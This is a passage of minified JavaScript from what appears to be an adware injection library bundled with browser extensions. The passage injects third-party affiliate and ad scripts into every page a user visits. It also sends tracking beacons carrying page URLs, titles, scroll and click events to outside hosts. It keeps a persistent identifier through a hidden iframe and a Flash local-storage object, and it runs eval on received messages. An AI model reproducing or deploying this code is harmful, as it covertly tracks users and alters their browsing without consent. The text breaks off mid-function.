  1079.                     a.insertJS("//istatic.datafastguru.info/fo/min/fshop/shopcomp3.js?subid=" + c + "&bname=" + q(a.vars.ext || a.wl || "Browser Extension") + "&blink=" + q("http://advertising-support.com/why.php?type=13&zone=" + c + "&pid=" + b));
  1080.                     return !1
  1081.                 }), a.l("dc8b1", function() {
  1082.                     var b = a.zoneid("dc8b1", !0).split("_"),
  1083.                         c = b[0],
  1084.                         b = b[1];
  1085.                     a.insertJS("//istatic.datafastguru.info/fo/min/fshop/shopcompqc.js?subid=" +
  1086.                         c + "&bname=" + q(a.vars.ext || a.wl || "Browser Extension") + "&blink=" + q("http://advertising-support.com/why.php?type=13&zone=" + c + "&pid=" + b));
  1087.                     return !1
  1088.                 })), a.l("c3ba6", function() {
  1089.                 var b = a.zoneid("c3ba6", !0).split("_")[0],
  1090.                     c = a.getExtensionName(b);
  1091.                 a.insertJS(t.protocol + "//api.jollywallet.com/affiliate/client?dist=107&sub=" + b + "&name=" + q(c));
  1092.                 return !1
  1093.             }), a.l("x61fd", function() {
  1094.                 var b = a.zoneid("x61fd", !0).split("_")[0];
  1095.                 a.getExtensionName(b);
  1096.                 a.insertJS(t.protocol + "//nps.noproblemppc.com/npsb/logic.js?originid=CC4F8A6F-B4C0-E311-99C2-001517D1792A&SiteId=Sales&ToolbarId=" +
  1097.                     b);
  1098.                 return !1
  1099.             }), a.l("s79f2", function() {
  1100.                 var b = a.zoneid("s79f2", !0).split("_"),
  1101.                     c = b[0],
  1102.                     b = b[1],
  1103.                     e = a.getExtensionName(c);
  1104.                 a.insertJS(t.protocol + "//client.foxydeal.com/sf/1038/" + c + "/" + t.hostname + "?partnerName=" + q(e) + "&partnerLink=" + q("http://advertising-support.com/why.php?type=17&zone=" + c + "&pid=" + b));
  1105.                 return !1
  1106.             }), a.l("g4bf6", function() {
  1107.                 var b = a.zoneid("g4bf6", !0).split("_"),
  1108.                     c = b[0],
  1109.                     b = b[1],
  1110.                     e = a.getExtensionName(c);
  1111.                 a.insertJS(t.protocol + "//cdn.visadd.com/script/14567725813/preload.js?subid=" + c + "&um=" + q(e) + "&umu=" +
  1112.                     q("http://advertising-support.com/why.php?type=18&zone=" + c + "&pid=" + b));
  1113.                 return !1
  1114.             }), -1 == L.indexOf("adult") && a.l("ad7f9", function() {
  1115.                 var b = a.zoneid("ad7f9", !0).split("_")[0],
  1116.                     c = a.getExtensionName(b);
  1117.                 a.insertJS(t.protocol + "//ext2.engageya.com/widget/inject_spark/inj_sprk_starter.js?pid=LTEsOTM5NTksNDM3MTMsNjE3MDE%3D&subid=" + b + "&appname=" + q(c), "inj_grazit_script_starter");
  1118.                 return !1
  1119.             }), a.l("p556f")); - 1 < a.vars.types.indexOf("p") && (a.l("rccd9"), a.l("g948a"));
  1120.         for (w("Finishing rulesLoaded: " + U.length); 0 < U.length;) try {
  1121.             U.pop()()
  1122.         } catch (d) {}
  1123.     }
  1124.  
  1125.     function za() {
  1126.         a.icp_perms && (N = a.icp_perms, delete a.icp_perms);
  1127.         for (Aa = !0; 0 < fa.length;) {
  1128.             var d = fa.pop(),
  1129.                 b = N.p[d.item_id];
  1130.             if (b)
  1131.                 if (b && 0 !== b.a) {
  1132.                     var c = b.w;
  1133.                     if (0 < L.length) {
  1134.                         var e = !1;
  1135.                         if (c && c.length) {
  1136.                             for (var h = 0; h < c.length; h++)
  1137.                                 if (-1 != L.indexOf(N.t[c[h]])) {
  1138.                                     e = !0;
  1139.                                     break
  1140.                                 }
  1141.                             if (!e) {
  1142.                                 d.cb_fail();
  1143.                                 continue
  1144.                             }
  1145.                         }
  1146.                         b = b.b;
  1147.                         if (!e && b && b.length) {
  1148.                             e = !1;
  1149.                             for (h = 0; h < b.length; h++)
  1150.                                 if (-1 != L.indexOf(N.t[b[h]])) {
  1151.                                     e = !0;
  1152.                                     break
  1153.                                 }
  1154.                             if (e) {
  1155.                                 d.cb_fail();
  1156.                                 continue
  1157.                             }
  1158.                         }
  1159.                     }
  1160.                     d.cb_success()
  1161.                 } else d.cb_fail();
  1162.             else d.cb_success()
  1163.         }
  1164.     }
  1165.  
  1166.     function Ya(d, b, c) {
  1167.         fa.push({
  1168.             item_id: d,
  1169.             cb_success: b,
  1170.             cb_fail: c || ba
  1171.         });
  1172.         Ba ? Aa && za() : (Ba = !0, a.insertJS(a.proto + a.baseCDN + "/loaders/icp", "_GPL_icp"))
  1173.     }
  1174.  
  1175.     function Za(a) {
  1176.         for (var b, c, e, h = /\{([^\}]+)\}/gi, l = a; b = h.exec(a);)
  1177.             if (-1 != b[1].indexOf("_GPL")) {
  1178.                 c = !1; - 1 != b[1].indexOf(",") && (c = b[1].split(",")[1]);
  1179.                 e = eval(b[1].split(",")[0]);
  1180.                 if (!e)
  1181.                     if (c) e = c;
  1182.                     else continue;
  1183.                 for (; - 1 != l.indexOf("{" + b[1] + "}");) l = l.replace("{" + b[1] + "}", e)
  1184.             }
  1185.         return l
  1186.     }
  1187.  
  1188.     function $a(d, b) {
  1189.         var c = function(b, c) {
  1190.             var a = [],
  1191.                 e = [],
  1192.                 d;
  1193.             for (d in b)
  1194.                 if ("function" != typeof b[d])
  1195.                     for (var g in b[d]) "function" != typeof b[d][g] &&
  1196.                         -1 == e.indexOf(g) && e.push(g);
  1197.             for (d in c)
  1198.                 if ("function" != typeof c[d])
  1199.                     for (g in c[d]) "function" != typeof c[d][g] && -1 == e.indexOf(g) && -1 == a.indexOf(g) && a.push(g);
  1200.             return a
  1201.         }(y, d);
  1202.         ca[b] = M.parse(M.stringify(d));
  1203.         var e = na(b);
  1204.         w("Adding new loader: " + a.vars.zoneid);
  1205.         e && e.src && oa(e.src.split("?")[1]);
  1206.         va();
  1207.         (function() {
  1208.             0 > H.indexOf(a.vars.zoneid) && H.push(a.vars.zoneid);
  1209.             for (var b = T.split(","), c = !1, e = 0; e < b.length; e++) {
  1210.                 var d = b[e].split(":");
  1211.                 d[0] == a.vars.zoneid && (d[1] = +new s / 1E3 | 0, c = !0);
  1212.                 b[e] = d.join(":");
  1213.                 if (c) break
  1214.             }
  1215.             c || b.push(u(a.vars.zoneid,
  1216.                 10) + ":" + (+new s / 1E3 | 0));
  1217.             T = b.join(",");
  1218.             a.items.e6a00.set("zr", T)
  1219.         })();
  1220.         y = function(b, c) {
  1221.             for (var a in c)
  1222.                 if ("function" != typeof c[a])
  1223.                     if (b[a])
  1224.                         for (var e in c[a]) {
  1225.                             if ("function" != typeof c[a][e])
  1226.                                 if (b[a][e])
  1227.                                     for (var d = 0, g = c[a][e].length; d < g; ++d) - 1 == b[a][e].indexOf(c[a][e][d]) && b[a][e].push(c[a][e][d]);
  1228.                                 else b[a][e] = c[a][e]
  1229.                         } else b[a] = c[a];
  1230.             return b
  1231.         }(y, pa(d, a.vars.zoneid + "_" + a.vars.pid));
  1232.         if (a.rl)
  1233.             for (ea(), e = 0; e < c.length; e++) {
  1234.                 if (a.f[c[e]]) a.f[c[e]]()
  1235.             } else
  1236.                 for (e = 0; e < c.length; e++) U.push(function(b) {
  1237.                     return function() {
  1238.                         if (a.f[b]) a.f[b]()
  1239.                     }
  1240.                 }(c[e])); - 1 < a.vars.types.indexOf("p") && a.l("rccd9")
  1241.     }
  1242.  
  1243.     function ab(a) {
  1244.         var b = p.getElementById(a);
  1245.         null != b && x(function() {
  1246.             try {
  1247.                 b.parentNode && b.parentNode.removeChild(b)
  1248.             } catch (c) {}
  1249.         }, 0)
  1250.     }
  1251.  
  1252.     function Ca(a, b) {
  1253.         for (var c = 0; c < b.length; c++) - 1 == a.indexOf(b[c]) && a.push(b[c]);
  1254.         return a
  1255.     }
  1256.  
  1257.     function Da(d) {
  1258.         d = d || y;
  1259.         var b = [],
  1260.             c;
  1261.         for (c in d.ALL) "function" != typeof d.ALL[c] && 0 > ["adba9", "fb7b3", "o7272", "ee6f3"].indexOf(c) && -1 == b.indexOf(c) && b.push(c);
  1262.         if (d[a.vars.cid])
  1263.             for (c in d[a.vars.cid]) "function" == typeof d[a.vars.cid][c] || -1 < b.indexOf(c) ||
  1264.                 0 > ["adba9", "fb7b3", "o7272", "ee6f3"].indexOf(c) && -1 == b.indexOf(c) && b.push(c);
  1265.         for (c = 0; c < b.length; c++) a.canLoad(b[c]) && (!N[b[c]] || N[b[c]] && -1 != N[b[c]].indexOf(a.vars.cid)) && 0 > W.indexOf(b[c]) && W.push(b[c]);
  1266.         W.sort();
  1267.         return W
  1268.     }
  1269.  
  1270.     function bb(d, b) {
  1271.         if (a.canLoad("adba9") && !(0 > ["pl", "ms", "mh", "mo", "ma"].indexOf(d))) {
  1272.             "pl" == d && (Ea = +new s);
  1273.             var c = Da().join("-"),
  1274.                 e = {
  1275.                     cid: a.vars.cid,
  1276.                     items: c,
  1277.                     frt: a.frt,
  1278.                     ws: (n.innerWidth || p.documentElement.clientWidth || p.body.clientWidth) + "x" + (n.innerHeight || p.documentElement.clientHeight ||
  1279.                         p.body.clientHeight),
  1280.                     col: X.join("-"),
  1281.                     lt: a.vars.types.join(",")
  1282.                 };
  1283.             e.id = "pl" == d ? a.guid : a.getSubId(b);
  1284.             0 > ["pl", "mo"].indexOf(d) && (e.dt = +new s - Ea, e.st = n.scrollY || n.pageYOffset || p.documentElement.scrollTop || p.body.scrollTop || 0);
  1285.             var c = "",
  1286.                 h;
  1287.             for (h in e) "function" != typeof e[h] && (c += (c && "&") + h + "=" + q(e[h]));
  1288.             h = t.protocol + "//" + {
  1289.                 pl: "canvaspl-a.akamaihd.net",
  1290.                 ms: "canvasms-a.akamaihd.net",
  1291.                 mh: "canvasmh-a.akamaihd.net",
  1292.                 mo: "canvasmo-a.akamaihd.net",
  1293.                 ma: "canvasma-a.akamaihd.net"
  1294.             }[d] + "/s.gif?t=" + q(d);
  1295.             h += b ? "&i=" + q(b) : "";
  1296.             h +=
  1297.                 "&d=" + q(a.B64.encode(c));
  1298.             h += "&u=" + q(t.href.split("?")[0]);
  1299.             (new J).src = h
  1300.         }
  1301.     }
  1302.  
  1303.     function cb(d, b) {
  1304.         var c = d,
  1305.             e = p.createElement("a");
  1306.         e.href = c;
  1307.         e.hostname != a.baseCDN ? d = c : (c = e.pathname, "/" != c[0] && (c = "/" + c), c = c.replace(/^\/items\//, "/i/items/"), d = e.protocol + "//" + e.hostname + c + e.search + e.hash);
  1308.         e = p.getElementsByTagName("head");
  1309.         e = 0 < e.length ? e : p.getElementsByTagName("body");
  1310.         if (0 < e.length) return c = p.createElement("script"), c.async = !0, c.type = "text/javascript", c.src = d, b && (c.id = b), e[0].appendChild(c), c
  1311.     }
  1312.  
  1313.     function db(d, b, c) {
  1314.         a.canLoad(d) &&
  1315.             !a.fl[d] && a.icp(d, function() {
  1316.                 if (!a.fl[d]) {
  1317.                     var e = !0;
  1318.                     "function" != typeof b ? a.item_vars[d] = b : e = !1 !== b();
  1319.                     a.fl[d] = !0;
  1320.                     e && a.insertJS(a.proto + a.baseCDN + "/items/" + d + "/js/" + (c || d + ".js"), "_GPL_" + d)
  1321.                 }
  1322.             })
  1323.     }
  1324.  
  1325.     function eb(d) {
  1326.         return a.vars.cid && (y.ALL && y.ALL[d] || y[a.vars.cid] && y[a.vars.cid][d]) ? !0 : !1
  1327.     }
  1328.  
  1329.     function fb(a) {
  1330.         if (p.cookie && "" != p.cookie)
  1331.             for (var b = p.cookie.split(";"), c = 0; c < b.length; ++c) {
  1332.                 var e = b[c].replace(/^\s+|\s+$/, "");
  1333.                 if (e.substring(0, a.length + 1) == a + "=") return Z(e.substring(a.length + 1))
  1334.             }
  1335.         return null
  1336.     }
  1337.  
  1338.     function gb(a,
  1339.         b, c, e, h) {
  1340.         var l = new s;
  1341.         l.setHours(l.getHours() + u(c, 10));
  1342.         e || (e = t.hostname.replace(/^www\./, ""), "." != e[0] && (e = "." + e));
  1343.         p.cookie = a + "=" + b + ";expires=" + l.toUTCString() + ";path=" + (h || "/") + ";domain=" + e
  1344.     }
  1345.  
  1346.     function hb() {
  1347.         var d = [];
  1348.         n.postMessage && -1 == z.userAgent.toLowerCase().indexOf("opera") && d.push({
  1349.             compatible: n.postMessage && -1 == z.userAgent.toLowerCase().indexOf("opera"),
  1350.             frame: !1,
  1351.             ready: !1,
  1352.             cb: 1,
  1353.             mid: 1,
  1354.             v: 1,
  1355.             callbacks: {},
  1356.             last_hash: "",
  1357.             title: p.title ? p.title : t.href,
  1358.             onready: function() {},
  1359.             queue: [],
  1360.             clear: !0,
  1361.             init: function(b) {
  1362.                 this.setupChild(a.proto +
  1363.                     a.fCDN + "/store/");
  1364.                 this.setupListener();
  1365.                 this.onready = b;
  1366.                 if (!this.compatible) {
  1367.                     var c = this;
  1368.                     P(function() {
  1369.                         c.processHash()
  1370.                     }, 150)
  1371.                 }
  1372.             },
  1373.             setupChild: function(b) {
  1374.                 this.frame = p.createElement("iframe");
  1375.                 this.frame.style.position = "absolute";
  1376.                 this.frame.style.left = this.frame.style.top = "-999px";
  1377.                 this.frame.style.visibility = "hidden";
  1378.                 p.body.appendChild(this.frame);
  1379.                 this.frame.src = b
  1380.             },
  1381.             setupListener: function() {
  1382.                 E(n, "message", a.items.e6a00.receiveMessage, !0)
  1383.             },
  1384.             receiveMessage: function(b) {
  1385.                 try {
  1386.                     if (0 == b.origin.indexOf(a.proto + a.fCDN)) {
  1387.                         var c =
  1388.                             b.data;
  1389.                         "string" == typeof c && "{" == c.substr(0, 1) && "}" == c.substr(c.length - 1) && (c = eval("(" + c + ")"));
  1390.                         c.f && "ready" == c.f && (a.items.e6a00.ready = !0, a.items.e6a00.onready());
  1391.                         if (c.i && "function" == typeof a.items.e6a00.callbacks[c.i]) a.items.e6a00.callbacks[c.i](c)
  1392.                     }
  1393.                 } catch (e) {}
  1394.             },
  1395.             sendMessage: function(b, c) {
  1396.                 if (!this.frame || !this.ready) return !1;
  1397.                 b.i = this.mid;
  1398.                 "function" == typeof c && (this.callbacks[this.mid] = c);
  1399.                 this.mid++;
  1400.                 this.compatible ? this.frame.contentWindow.postMessage(M.stringify(b), a.proto + a.fCDN) : (this.queue.push(this.frame.src.replace(/#.*$/,
  1401.                     "") + "#" + +new s + this.cb++ +"&_GPL_u=" + q(t.href) + "&_GPL_s=" + q(M.stringify(b))), this.clear && this.processQueue())
  1402.             },
  1403.             parseUrl: function(b) {
  1404.                 b = b.substring(1).split("&");
  1405.                 for (var c = {}, a = 0, d = b.length; a < d; ++a) {
  1406.                     var l = b[a].split("=");
  1407.                     c[l[0]] = unescape(l.slice(1, l.length).join("="))
  1408.                 }
  1409.                 return c
  1410.             },
  1411.             processHash: function() {
  1412.                 var b = this.parseUrl(t.hash)._GPL_s || "";
  1413.                 "" != b && b != this.lasthash && (this.lasthash = b, this.clear = !0, this.receiveMessage({
  1414.                     origin: a.proto + a.fCDN,
  1415.                     data: b
  1416.                 }), t.hash = "#" + (+new s / 1E3 | 0), p.title = this.title, this.processQueue())
  1417.             },
  1418.             processQueue: function() {
  1419.                 if (this.clear && this.queue.length) {
  1420.                     var b = this.queue.pop();
  1421.                     this.frame.src = b;
  1422.                     this.clear = !1
  1423.                 }
  1424.             },
  1425.             set: function(b, c, a) {
  1426.                 c == K && (c = "");
  1427.                 a == K && (a = 31536E3);
  1428.                 if (this.ready) {
  1429.                     var d = [{
  1430.                         n: b,
  1431.                         v: c,
  1432.                         t: a
  1433.                     }];
  1434.                     this.is_array(b) && (d = b);
  1435.                     this.sendMessage({
  1436.                         f: "db.set",
  1437.                         a: d
  1438.                     })
  1439.                 } else {
  1440.                     var l = this;
  1441.                     x(function() {
  1442.                         l.set(b, c, a)
  1443.                     }, 100)
  1444.                 }
  1445.             },
  1446.             get: function(b, c) {
  1447.                 if (this.ready && "function" == typeof c) {
  1448.                     var e = [];
  1449.                     this.is_array(b) ? e = b : e.push(b);
  1450.                     a.items.e6a00.sendMessage({
  1451.                         f: "db.get",
  1452.                         a: e
  1453.                     }, c)
  1454.                 } else return null
  1455.             },
  1456.             is_array: function(b) {
  1457.                 return "object" ==
  1458.                     typeof b && b instanceof I
  1459.             }
  1460.         });
  1461.         (9 <= ga.getFlashPlayerVersion().major || !d.length) && d.push({
  1462.             v: 1,
  1463.             ready: !1,
  1464.             flashDetected: !1,
  1465.             log: function(b, c, e) {
  1466.                 e && e.match(/#2130/) && this.ready && ((new J).src = a.proto + "ads2srv.com/impression?auid=c5007567e6bd16&zone=181711&oimg=1")
  1467.             },
  1468.             swf: !1,
  1469.             swf_url: "/items/e6a00/storage.swf?r=1",
  1470.             namespace: "gpl",
  1471.             store: {},
  1472.             detectFlash: function() {
  1473.                 return 9 <= a.swfobject.getFlashPlayerVersion().major || a.items.e6a00.detectFlash2() ? !0 : !1
  1474.             },
  1475.             detectFlash2: function() {
  1476.                 if (z.plugins && z.mimeTypes.length) {
  1477.                     var b =
  1478.                         z.plugins["Shockwave Flash"];
  1479.                     if (null != b && null != z.mimeTypes["application/x-shockwave-flash"].enabledPlugin) return 9 <= b.description.replace(/([a-zA-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split(".")[0]
  1480.                 } else if (n.ActiveXObject) {
  1481.                     try {
  1482.                         b = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7")
  1483.                     } catch (c) {
  1484.                         try {
  1485.                             b = new ActiveXObject("ShockwaveFlash.ShockwaveFlash")
  1486.                         } catch (a) {
  1487.                             return !1
  1488.                         }
  1489.                     }
  1490.                     if (null != b) return 9 <= b.GetVariable("$version").split(" ")[1].split(",")[0]
  1491.                 }
  1492.                 return !1
  1493.             },
  1494.             init: function(b) {
  1495.                 w("Received _GPL.items.e6a00.init");
  1496.                 this.onready = b;
  1497.                 w("_GPL.items.e6a00 :: Detecting flash");
  1498.                 this.flashDetected = this.detectFlash();
  1499.                 w("_GPL.items.e6a00 :: Flash detected");
  1500.                 if (!this.flashDetected) return !1;
  1501.                 b = p.createElement("div");
  1502.                 b.style.position = "absolute";
  1503.                 b.style.top = "0px";
  1504.                 b.style.left = "0px";
  1505.                 b.style.width = "1px";
  1506.                 b.style.height = "1px";
  1507.                 b.style.zIndex = "2147483647";
  1508.                 b.id = "_GPL_e6a00_div";
  1509.                 var c = p.createElement("div");
  1510.                 c.style.position = "absolute";
  1511.                 c.style.top = "0px";
  1512.                 c.style.left = "0px";
  1513.                 c.style.width = "1px";
  1514.                 c.style.height = "1px";
  1515.                 c.style.zIndex = "2147483647";
  1516.                 c.id = "_GPL_e6a00_parent_div";
  1517.                 c.appendChild(b);
  1518.                 p.body.firstChild ? p.body.insertBefore(c, p.body.firstChild) : p.body.appendChild(c);
  1519.                 w("_GPL.items.e6a00 :: Embedding swf");
  1520.                 ga.embedSWF(a.proto + a.fCDN + this.swf_url, "_GPL_e6a00_div", "1", "1", "9.0.0", !1, {
  1521.                     logfn: "_GPL.items.e6a00.log",
  1522.                     onload: "_GPL.items.e6a00.onload",
  1523.                     onerror: "_GPL.items.e6a00.onerror",
  1524.                     LSOName: this.namespace
  1525.                 }, {
  1526.                     wmode: "transparent",
  1527.                     allowscriptaccess: "always"
  1528.                 }, {
  1529.                     id: "_GPL_e6a00_swf"
  1530.                 });
  1531.                 w("_GPL.items.e6a00 :: SWF embedded");
  1532.                 try {
  1533.                     if (p._GPL_e6a00_swf || n._GPL_e6a00_swf) a.items.e6a00.swf =
  1534.                         p._GPL_e6a00_swf || n._GPL_e6a00_swf
  1535.                 } catch (e) {}
  1536.                 a.items.e6a00.timer = P(function() {
  1537.                     try {
  1538.                         a.items.e6a00.swf && "function" == typeof a.items.e6a00.swf.get || !p._GPL_e6a00_swf && !n._GPL_e6a00_swf || (a.items.e6a00.swf = p._GPL_e6a00_swf || n._GPL_e6a00_swf)
  1539.                     } catch (b) {}
  1540.                     if (a.items.e6a00.flashDetected && a.items.e6a00.swf && "function" == typeof a.items.e6a00.swf.get && (S(a.items.e6a00.timer), !a.items.e6a00.ready)) a.items.e6a00.onload()
  1541.                 }, 100)
  1542.             },
  1543.             set: function(b, c) {
  1544.                 c == K && (c = "");
  1545.                 if (!this.flashDetected) return !1;
  1546.                 if (this.ready && this.swf &&
  1547.                     "function" == typeof this.swf.set) {
  1548.                     var a = [];
  1549.                     this.is_array(b) ? a = b : a.push({
  1550.                         n: b,
  1551.                         v: c,
  1552.                         t: 31536E3
  1553.                     });
  1554.                     for (var d = 0; d < a.length; d++) this.swf.set(a[d].n, a[d].v)
  1555.                 } else {
  1556.                     var l = this;
  1557.                     x(function() {
  1558.                         l.set(b, c)
  1559.                     }, 100)
  1560.                 }
  1561.             },
  1562.             get: function(b, c) {
  1563.                 var a = this.flashDetected && this.ready && "function" == typeof this.swf.get;
  1564.                 if ("function" == typeof c) {
  1565.                     this.is_array(b) || (b = [b]);
  1566.                     for (var d = {}, l = 0; l < b.length; l++) d[b[l]] = a ? this.swf.get(b[l]) : null;
  1567.                     c({
  1568.                         i: 1,
  1569.                         f: "db.get",
  1570.                         v: d
  1571.                     })
  1572.                 } else return a ? this.swf.get(b) : null
  1573.             },
  1574.             is_array: function(b) {
  1575.                 return "object" == typeof b &&
  1576.                     b instanceof I
  1577.             },
  1578.             onload: function() {
  1579.                 var b = this;
  1580.                 b.loaded || b.ready || !b.swf || (b.loaded = !0, x(function() {
  1581.                     var c = A(B.random());
  1582.                     b.swf.set("__flashBugFix", c);
  1583.                     b.swf.get("__flashBugFix") == c ? (b.ready = !0, b.onready()) : d.length && (c = b.onready, a.items.e6a00 = d.pop(), a.items.e6a00.init(c))
  1584.                 }, 0))
  1585.             },
  1586.             onready: function() {},
  1587.             onerror: function() {}
  1588.         });
  1589.         return d.pop()
  1590.     }
  1591.  
  1592.     function oa(d) {
  1593.         d = d.replace(/&amp;/ig, "&").replace("#", "&");
  1594.         for (var b = d.split("&"), c = "", e = d = "", h = 0; h < b.length; h++) 0 == b[h].indexOf("zoneid=") ? d = b[h].split("=")[1] || "" : 0 ==
  1595.             b[h].indexOf("pid=") ? e = b[h].split("=")[1] || "" : c += (c && "&") + b[h];
  1596.         c += "&col=" + X.join("-"); - 1 < X.indexOf(d + "_" + e) || (b = "zoneid=" + d + "&pid=" + e + "&cid=" + a.vars.cid + "&items=" + Da(ca[e]).join("-") + "&c=" + q(a.B64.encode(c)), F[d + "_" + e] = {
  1597.             url: b,
  1598.             processed: {
  1599.                 daily: !1,
  1600.                 hourly: !1
  1601.             }
  1602.         }, X.push(d + "_" + e))
  1603.     }
  1604.  
  1605.     function va() {
  1606.         var d = [],
  1607.             b;
  1608.         for (b in F) "function" != typeof F[b] && (F[b].processed.daily || d.push("dp:" + b + ":daily"), F[b].processed.hourly || d.push("dp:" + b + ":hourly"));
  1609.         0 < d.length && a.items.e6a00.get(d, function(b) {
  1610.             for (var e in b.v)
  1611.                 if ("function" !=
  1612.                     typeof b.v[e]) {
  1613.                     var d = new s(u(b.v[e], 10));
  1614.                     if (!(d > new s)) {
  1615.                         var d = e.split(":")[1],
  1616.                             l = e.split(":")[2];
  1617.                         if (F[d]) {
  1618.                             var r;
  1619.                             "daily" != l || F[d].processed.daily || (r = "//s.trk-u.com/?cb=_GPL.dcc&" + F[d].url + "&frt=" + a.frt + "&cachebreaker=" + +new s / 1E3, a.dcc = function(b, c, d) {
  1620.                                 if (!(3 > arguments.length)) {
  1621.                                     b = u(b, 10);
  1622.                                     c = u(c, 10);
  1623.                                     d = u(d, 10);
  1624.                                     var e = "dp:" + c + "_" + d + ":daily",
  1625.                                         r = new s;
  1626.                                     r.setSeconds(u(b, 10));
  1627.                                     a.items.e6a00.set(e, +r)
  1628.                                 }
  1629.                             }, a.insertJS(r), F[d].processed.daily = !0, a.log("Pinging (daily): " + r));
  1630.                             "hourly" != l || F[d].processed.hourly || (l = a.vars.types.join(","),
  1631.                                 r = "//canvasdp-a.akamaihd.net/s.gif?" + F[d].url + "&frt=" + a.frt + "&lt=" + q(l) + "&cachebreaker=" + +new s / 1E3, (new J).src = r, F[d].processed.hourly = !0, a.log("Pinging (hourly): " + r), d = +new s, d = d - d % 36E5 + 36E5, a.items.e6a00.set(e, "" + d))
  1632.                         }
  1633.                     }
  1634.                 }
  1635.         })
  1636.     }
  1637.  
  1638.     function Ua() {
  1639.         function d(b) {
  1640.             b && a.items.e6a00.get("a652c_ci", function(c) {
  1641.                 c = (c.v.a652c_ci || "").split("|");
  1642.                 for (var d, e = 0; e < c.length; e++)
  1643.                     if (-1 < c[e].indexOf(",")) {
  1644.                         var r = c[e].split(",");
  1645.                         if (b == r[0]) {
  1646.                             d = c.splice(e--, 1);
  1647.                             break
  1648.                         }
  1649.                     }
  1650.                 if (d && d.length) {
  1651.                     a.items.e6a00.set("a652c_ci", c.join("|"));
  1652.                     var v = d[0].split(",")[1],
  1653.                         l = {};
  1654.                     d = function(b) {
  1655.                         b = b || n.event || {};
  1656.                         b = b.type || "unknown";
  1657.                         l[b] || ((new J).src = a.proto + "i.display-trk.com/ci?v=" + v + "&data_eventType=" + q(b) + "&r=" + +new s, l[b] = !0)
  1658.                     };
  1659.                     E(p.body, "mousedown", d);
  1660.                     E(n, "scroll", d)
  1661.                 }
  1662.             })
  1663.         }
  1664.  
  1665.         function b(b) {
  1666.             b && l - b >= h && (x(function() {
  1667.                 n.name = ""
  1668.             }, 4E3), a.ispop = !1)
  1669.         }
  1670.  
  1671.         function c() {
  1672.             var b = n.name.match(/^a652c_(\d+)_/);
  1673.             return b && 2 == b.length ? u(b[1], 10) : 0
  1674.         }
  1675.  
  1676.         function e() {
  1677.             if (!n.onbeforeunload) {
  1678.                 n.onbeforeunload = function() {};
  1679.                 var b = P(function() {
  1680.                     if (!n.onbeforeunload) {
  1681.                         S(b);
  1682.                         var c = a.zoneid("a652c", !0).split("_"),
  1683.                             d = c[0],
  1684.                             c = c[1] || a.vars.pid;
  1685.                         (new J).src = t.protocol + "//cdnstats-a.akamaihd.net/s.gif?t=it_fp&cid=" + q(a.vars.cid) + "&zoneid=" + q(d) + "&pid=" + q(c) + "&r=" + +new s
  1686.                     }
  1687.                 }, 100)
  1688.             }
  1689.         }
  1690.         var h = 600,
  1691.             l = +new s / 1E3 | 0;
  1692.         try {
  1693.             if (n.name.match(/^a652c_/)) {
  1694.                 var r = c();
  1695.                 d(r);
  1696.                 b(r);
  1697.                 e()
  1698.             }
  1699.         } catch (v) {}
  1700.     }
  1701.  
  1702.     function Va() {
  1703.         function d(b) {
  1704.             if (b) {
  1705.                 x(function() {
  1706.                     a.firePixel(a.proto + "p.display-trk.com/cf?c=" + b + "&u=" + q(t.href + "|" + p.title.toLowerCase()))
  1707.                 }, 4E3);
  1708.                 var c = {},
  1709.                     d = function(d) {
  1710.                         d = d || n.event || {};
  1711.                         var e = d.type || "unknown";
  1712.                         if (!c[e]) {
  1713.                             for (d = d.target ||
  1714.                                 d.srcElement; d;) {
  1715.                                 if (d["91c4"]) return !0;
  1716.                                 if ("HTML" == d.tagName) break;
  1717.                                 d = d.parentNode
  1718.                             }(new J).src = a.proto + "p.display-trk.com/ci?c=" + b + "&data_eventType=" + q(e) + "&r=" + +new s;
  1719.                             c[e] = !0
  1720.                         }
  1721.                     };
  1722.                 E(p.body, "mousedown", d);
  1723.                 E(n, "scroll", d)
  1724.             }
  1725.         }
  1726.  
  1727.         function b(b, c) {
  1728.             b && r - b >= l ? (x(function() {
  1729.                 n.name = ""
  1730.             }, 4E3), a.ispop = !1) : c && x(function() {
  1731.                 n.name = n.name.replace("_" + c + "_", "")
  1732.             }, 4E3)
  1733.         }
  1734.  
  1735.         function c() {
  1736.             var b = n.name.match(/^ld893__([^_]+)_/i);
  1737.             if (b && 2 == b.length) return b[1]
  1738.         }
  1739.  
  1740.         function e() {
  1741.             var b = n.name.match(/_(\d+)$/);
  1742.             return b && 2 == b.length ? u(b[1], 10) :
  1743.                 0
  1744.         }
  1745.  
  1746.         function h() {
  1747.             function b() {
  1748.                 var c = p.documentElement.clientHeight || p.body.clientHeight;
  1749.                 r.style.top = p.body.scrollTop + c - r.offsetHeight + "px";
  1750.                 r.style.width = p.body.clientWidth - (p.body.scrollHeight > c ? 16 : 0) + "px"
  1751.             }
  1752.             var c = a.zoneid("z7b85", !0).split("_"),
  1753.                 d = c[0],
  1754.                 e = c[1],
  1755.                 c = a.getExtensionName(d),
  1756.                 d = "1893" == e ? "http://www.xrosview.com/info.htm?logic=textenhancepop" : "http://advertising-support.com/why.php?type=5&zone=" + q(d) + "&pid=" + q(e) + "&ext=" + q(c),
  1757.                 e = p.createElement("div");
  1758.             e.style.height = "20px";
  1759.             e.style.margin = "0px";
  1760.             e.style.padding = "0px";
  1761.             e.innerHTML = "\u00a0";
  1762.             p.body.appendChild(e);
  1763.             e = p.createElement("div");
  1764.             e["91c4"] = 1;
  1765.             e.innerHTML = '<div style="display:block; position:fixed; bottom: 0px; left: 0px; right: 0; background: #e6e6e6; margin: 0px; padding: 0px; z-index:999999999999;"><span style="padding: 3px; color: #000;display:block;font:11px Arial, sans-serif;text-align: right;">Ad by ' + c + '. <a href="#" onclick="window.open(\'' + d + '\');return false;" style="color:#000;font:11px Arial, sans-serif;">More Info</a></div>';
  1766.             var r = e.firstChild;
  1767.             p.body.appendChild(r);
  1768.             p.all && "BackCompat" == p.compatMode && (b(), r.style.position = "absolute", r.style.bottom = "auto", r.style.right = "auto", E(n, "scroll", b), E(n, "resize", b))
  1769.         }
  1770.         var l = 600,
  1771.             r = +new s / 1E3 | 0;
  1772.         try {
  1773.             if (n.name.match(/^ld893_/)) {
  1774.                 var v = e(),
  1775.                     f = c();
  1776.                 d(f);
  1777.                 b(v, f);
  1778.                 f && h()
  1779.             }
  1780.         } catch (g) {}
  1781.     }
  1782.  
  1783.     function Fa(a, b) {
  1784.         for (var c = 0; c < b.length; c++)
